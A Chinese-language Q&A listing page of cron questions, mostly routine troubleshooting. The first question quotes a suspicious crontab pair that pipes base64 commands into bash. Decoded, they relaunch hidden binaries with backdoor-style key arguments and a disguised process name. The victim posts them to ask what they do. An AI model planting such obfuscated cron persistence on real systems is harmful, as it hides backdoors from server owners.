AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / computer / 问题

问题[cron](computer)

Martin Hope
Denis at SO
Asked: 2024-05-24 04:00:21 +0800 CST

在 cron 调度程序中找到 Base64 编码的命令。它有什么作用?

  • 5

我在 cron 调度程序中发现了 2 个字符串:

# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDEwIGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL3Zhci93d3cvd3d3LXJvb3QvZGF0YS8uY29uZmlnL2h0b3AvZGVmdW5jdC5kYXQgLWxpcUQiIC91c3IvYmluL2Jhc2ggLWMgImV4ZWMgLWEgJ1trYWx1YWRdJyAnL3Zhci93d3cvd3d3LXJvb3QvZGF0YS8uY29uZmlnL2h0b3AvZGVmdW5jdCciIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel
# DO NOT REMOVE THIS LINE. SEED PRNG. #core-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDEwIGNvcmUgMj4vZGV2L251bGwgfHwgJy92YXIvd3d3L3d3dy1yb290L2RhdGEvLmNvbmZpZy9odG9wL2NvcmUnIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng core-kernel

Base64 解码的子字符串为:

/usr/bin/pkill -0 -U1010 defunct 2>/dev/null || SHELL= TERM=xterm-256color GS_ARGS="-k /var/www/www-root/data/.config/htop/defunct.dat -liqD" /usr/bin/bash -c "exec -a '[kaluad]' '/var/www/www-root/data/.config/htop/defunct'" 2>/dev/null

/usr/bin/pkill -0 -U1010 core 2>/dev/null || '/var/www/www-root/data/.config/htop/core' 2>/dev/null

请解释一下这些命令的作用?

cron
  • 1 个回答
  • 31 Views
Martin Hope
Cyril N.
Asked: 2022-10-07 22:27:29 +0800 CST

更改 Gnome 3 背景的 Cron 任务集不会更新背景

  • 7
赏金将在 2 天内到期。此问题的答案有资格获得+50声望赏金。 Cyril N.正在寻找一个规范的答案。

我制作了这个简单的脚本:

#!/bin/bash

# If started as root, then re-start as user "cyril":
if [ "$(id -u)" -eq 0 ]; then
    exec sudo -H -u cyril $0 "$@"
fi

wget -q -O /tmp/wallpaper.jpg https://source.unsplash.com/1920x1080/?landscape,mountain,forest,stars,space,galaxy;
gsettings set org.gnome.desktop.background picture-uri-dark file:///tmp/wallpaper.jpg;
gsettings set org.gnome.desktop.background picture-uri file:///tmp/wallpaper.jpg;

exit 0;

把它移到 /etc/cron.hourly/1wallpaper 并给它一个 chmod +x。

如果我从 bash 手动运行它,它工作正常。在 cron.hourly 上应该每小时运行一次,每小时给我一个不同的背景,但事实并非如此,几个小时之间没有任何变化。

我错过了什么?

我确保运行的用户gsettings是我,以免更改 root 用户的背景。

我想知道,当使用 cron 运行时,是否运行了另一种与我正在做的不兼容的 shell。

我正在使用 Fedora 36。

gnome cron
  • 1 个回答
  • 81 Views
Martin Hope
Leandro 86
Asked: 2022-05-19 06:25:34 +0800 CST

如何在 crontab 中正确使用环境变量

  • 5

我在我的 ~/.bashrc 文件(Ubuntu 20)中导出了一个变量,我想在 cron 作业中使用它。在寻找答案时,我发现了两种方法,但没有一种方法对我有用:

12 11 * * * BASH_ENV=/home/l86/.bashrc bash -l -c 'echo "USING TOKEN $GITTOKEN" >> /var/log/custom-cron.log 2>&1'

并且

12 11 * * * source /home/l86/.bashrc; echo "USING TOKEN $GITTOKEN" >> /var/log/custom-cron.log 2>&1

但是变量值仍然被打印为空,当我在 cron 之外执行相同的命令(使用 shell)时,情况并非如此。

ubuntu cron
  • 1 个回答
  • 1243 Views
Martin Hope
John Gordon
Asked: 2021-11-30 12:57:47 +0800 CST

直接复制到 /var/spool/cron/crontabs 的 Cron 文件不执行

  • 5

将 crontab 文件直接复制到其中/var/spool/cron/crontabs/<username>不会安排作业的执行。

crontab -l显示文件内容,所以 cron 至少有点了解它。但它永远不会被执行。

如果我编辑crontab -e并进行无意义的更改,那么 cron 会以某种方式收到通知并且一切都很好。

有没有一种程序化的方式来达到同样的效果?

提到这个问题,我尝试了这些命令,但没有成功:

sudo service cron reload
sudo service cron restart
sudo /etc/init.d/cron force-reload

PS 是的,我知道将 crontabs 直接复制到 /var/spool 不是通常的做事方式。这是通过 docker 设置新的 cookie-cutter aws ec2 ubuntu 实例的更大任务的一部分,我希望它们“预加载”特定的 crontab。

ubuntu cron
  • 1 个回答
  • 386 Views
Martin Hope
freefaller
Asked: 2021-11-04 06:02:48 +0800 CST

CPanel cron 作业 - 将英国的 DST 考虑在内

  • 5

在 cPanel 中设置 cron 作业(如果有任何区别,由 GoDaddy 托管)时,有没有办法考虑英国的夏令时(GMT 与 BST)?

我对此表示怀疑,这并不重要......但如果可能的话会很好

cron cpanel
  • 1 个回答
  • 30 Views
Martin Hope
ice13berg
Asked: 2021-07-17 19:07:19 +0800 CST

为什么我的默认 crontab 编辑器发生了变化?

  • 6

我有一个多年来一直用作 Web 服务器的 Amazon Linux 实例。好久没登录了,今天登录了,发现默认crontab编辑器改成nano了vi.

我看过,对于我的生活,我无法弄清楚如何将它改回nano,这就引出了一个问题 - 它是如何首先被普遍改变的?这可能是什么原因造成的?

我的两个问题是:

  • 这怎么可能发生?
  • 我怎样才能把它改回来(永久)?

我在日志或命令历史记录中看不到任何帮助,但我会注意到acme.sh几个月前我为 Let's Encrypt 安装了新的/最新的更新程序,它确实为 root 用户安装了一个 cronjob(其中我知道)。

我可以通过设置.selected_editor文件/值或通过来更改默认编辑器export EDITOR=/bin/nano,但这似乎只解决了当前用户的问题(所以,如果我crontab -e -u <otheruse>,它vi再次编辑),但我希望 DEFAULT 编辑器更改为crontab,所以我总是得到相同的编辑器,无论我是作为什么用户工作。

linux cron
  • 1 个回答
  • 714 Views
Martin Hope
electrical apprentice
Asked: 2021-07-08 04:39:46 +0800 CST

“/usr/sbin/shutdown now”在win10的WSL中​​的crontab中不起作用

  • 6

最近开始使用win10和WSL。

我想让 crontab 运行以下命令。

/usr/sbin/shutdown now

但即使该命令在 Linux 操作系统中工作,它也不起作用(我已经检查过了)。

我想这样做的原因是;我想强行让电脑在夜间关闭,因为附近的人告诉我整夜保持安静(CPU风扇的噪音?)。

接下来我能做什么?

我到底想要做什么如下。

  1. 由于计算机在 22:00~05:59 期间被激活,因此shutdown将执行命令并让用户无法登录。
  2. 由于计算机在没有指定时区的情况下被激活,计算机会引导我登录并执行那种shutdown at 2200

如果真的 WSL 不能这样做,我该如何使用任务调度程序或其他东西来实现呢?

windows-subsystem-for-linux cron
  • 1 个回答
  • 568 Views
Martin Hope
Jacob
Asked: 2021-05-03 05:55:47 +0800 CST

crontab 不记录到文件

  • 6

我有以下 cronjob:

@reboot /usr/local/bin/python3.9 /home/pi/push_bullet/push_bullet_socket.py >> /var/log/push_bullet_socket.py.log 2>&1

这是我的 crontab 上唯一的东西。当我查看 /var/log/push_bullet_socket.py.log 时,我看到该文件存在,但没有任何标准输出被发送到文件。该脚本在不作为 cronjob 运行时可以正常工作,并且除了没有记录输出之外,它作为 cronjob 可以正常工作。我可以确认打印语句正在 python 脚本中运行,但由于某种原因,它们没有被输出到日志文件中。

这是重启后 cron.log 中的内容:

May  2 10:01:03 raspberrypi cron[351]: (CRON) INFO (pidfile fd = 3)
May  2 10:01:03 raspberrypi cron[351]: (CRON) INFO (Running @reboot jobs)
May  2 10:01:03 raspberrypi CRON[401]: (root) CMD (python /bin/push_bullet_socket.py >> /var/log/push_bullet_socket.py.log 2>&1)
May  2 10:01:03 raspberrypi CRON[402]: (pi) CMD (/usr/local/bin/python3.9 /home/pi/push_bullet/push_bullet_socket.py >> /var/log/push_bullet_socket.py.log 2>&1)
linux cron
  • 1 个回答
  • 947 Views
Martin Hope
CodeNinja
Asked: 2020-11-28 05:49:50 +0800 CST

如何在 Ubiquiti Edgerouter-X 上创建持久的 cronjob,使其在固件更新后仍然存在

  • 6

我们有数十个 Ubiquiti Edgerouter-X 在客户位置上处于活动状态。他们除其他外负责每分钟 ping 一个 IP。这是通过 cronjob(使用 crontab -e 设置)完成的,只要固件没有更新就可以正常工作。

当固件更新到较新版本时,cronjobs 将“重置”为默认值。经过一些研究,我注意到我应该使用system task-schedulercronjob 而不是 cronjob。所以我在中创建了一个ping.sh文件/config/scripts/,将权限设置为0755并做了一个chmod +x ping.sh. 这是ping.sh文件的内容(用于测试目的)

#!/bin/bash
echo "Ping Pong!"
echo "Ping Pong!!" >> result.txt    

当我手动执行脚本时,脚本工作正常,它会./ping.sh回显Ping Pong!并写入. 当我尝试使用它执行脚本时,它什么也不做。我尝试了 2 个任务调度程序配置并在之后重新启动了 Edgerouter :Ping Pong!!result.txtsystem task-schedulercommit; save;

show system task-scheduler task
 task ping-task {
     crontab-spec "* *  *   *   *"
     executable {
         path /config/scripts/ping.sh
     }
 }

和

show system task-scheduler task
 task ping-task {
     executable {
         path /config/scripts/ping.sh
     }
     interval 1m
 }

我错了什么?我在https://community.ui.com/上检查了多个有关它的主题,但找不到解决方案...

cron task-scheduler
  • 1 个回答
  • 2083 Views
Martin Hope
Faheem
Asked: 2020-11-05 09:09:40 +0800 CST

Logrotate 在错误的时间/时间运行

  • 7

我的/etc/crontab文件中有以下条目,以确保每天的 cronjobs 在凌晨 4:25 运行。这是此文件中唯一的条目daily:

25 4 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )

我的内容/etc/cron.daily/包括logrotate:

 # ls -l /etc/cron.daily/
...
-rwxr-xr-x 1 root root  377 Jan 21  2019 logrotate

这是下的 logrotate 配置/etc/logrotate.d/

/var/log/remote/custom/*.log
{
        rotate 180
        daily
        missingok
        notifempty
        compress
        delaycompress
        sharedscripts
    # force rsyslog to refresh file descriptor
        postrotate
                /usr/lib/rsyslog/rsyslog-rotate
        endscript
}

为什么当我检查 的内容时 /var/lib/logrotate/status,我看到日志文件在午夜而不是凌晨 4:25 轮换?

"/var/log/remote/custom/cust.log" 2020-11-4-0:0:39

操作系统:Ubuntu 20.04 LTS 内核:Linux 5.4.0-40-generic

ubuntu cron
  • 2 个回答
  • 928 Views

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    如何减少“vmmem”进程的消耗?

    • 11 个回答
  • Marko Smith

    从 Microsoft Stream 下载视频

    • 4 个回答
  • Marko Smith

    Google Chrome DevTools 无法解析 SourceMap:chrome-extension

    • 6 个回答
  • Marko Smith

    Windows 照片查看器因为内存不足而无法运行?

    • 5 个回答
  • Marko Smith

    支持结束后如何激活 WindowsXP?

    • 6 个回答
  • Marko Smith

    远程桌面间歇性冻结

    • 7 个回答
  • Marko Smith

    子网掩码 /32 是什么意思?

    • 6 个回答
  • Marko Smith

    鼠标指针在 Windows 中按下的箭头键上移动?

    • 1 个回答
  • Marko Smith

    VirtualBox 无法以 VERR_NEM_VM_CREATE_FAILED 启动

    • 8 个回答
  • Marko Smith

    应用程序不会出现在 MacBook 的摄像头和麦克风隐私设置中

    • 5 个回答
  • Martin Hope
    Vickel Firefox 不再允许粘贴到 WhatsApp 网页中? 2023-08-18 05:04:35 +0800 CST
  • Martin Hope
    Saaru Lindestøkke 为什么使用 Python 的 tar 库时 tar.xz 文件比 macOS tar 小 15 倍? 2021-03-14 09:37:48 +0800 CST
  • Martin Hope
    CiaranWelsh 如何减少“vmmem”进程的消耗? 2020-06-10 02:06:58 +0800 CST
  • Martin Hope
    Jim Windows 10 搜索未加载,显示空白窗口 2020-02-06 03:28:26 +0800 CST
  • Martin Hope
    andre_ss6 远程桌面间歇性冻结 2019-09-11 12:56:40 +0800 CST
  • Martin Hope
    Riley Carney 为什么在 URL 后面加一个点会删除登录信息? 2019-08-06 10:59:24 +0800 CST
  • Martin Hope
    zdimension 鼠标指针在 Windows 中按下的箭头键上移动? 2019-08-04 06:39:57 +0800 CST
  • Martin Hope
    jonsca 我所有的 Firefox 附加组件突然被禁用了,我该如何重新启用它们? 2019-05-04 17:58:52 +0800 CST
  • Martin Hope
    MCK 是否可以使用文本创建二维码? 2019-04-02 06:32:14 +0800 CST
  • Martin Hope
    SoniEx2 更改 git init 默认分支名称 2019-04-01 06:16:56 +0800 CST

热门标签

windows-10 linux windows microsoft-excel networking ubuntu worksheet-function bash command-line hard-drive

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve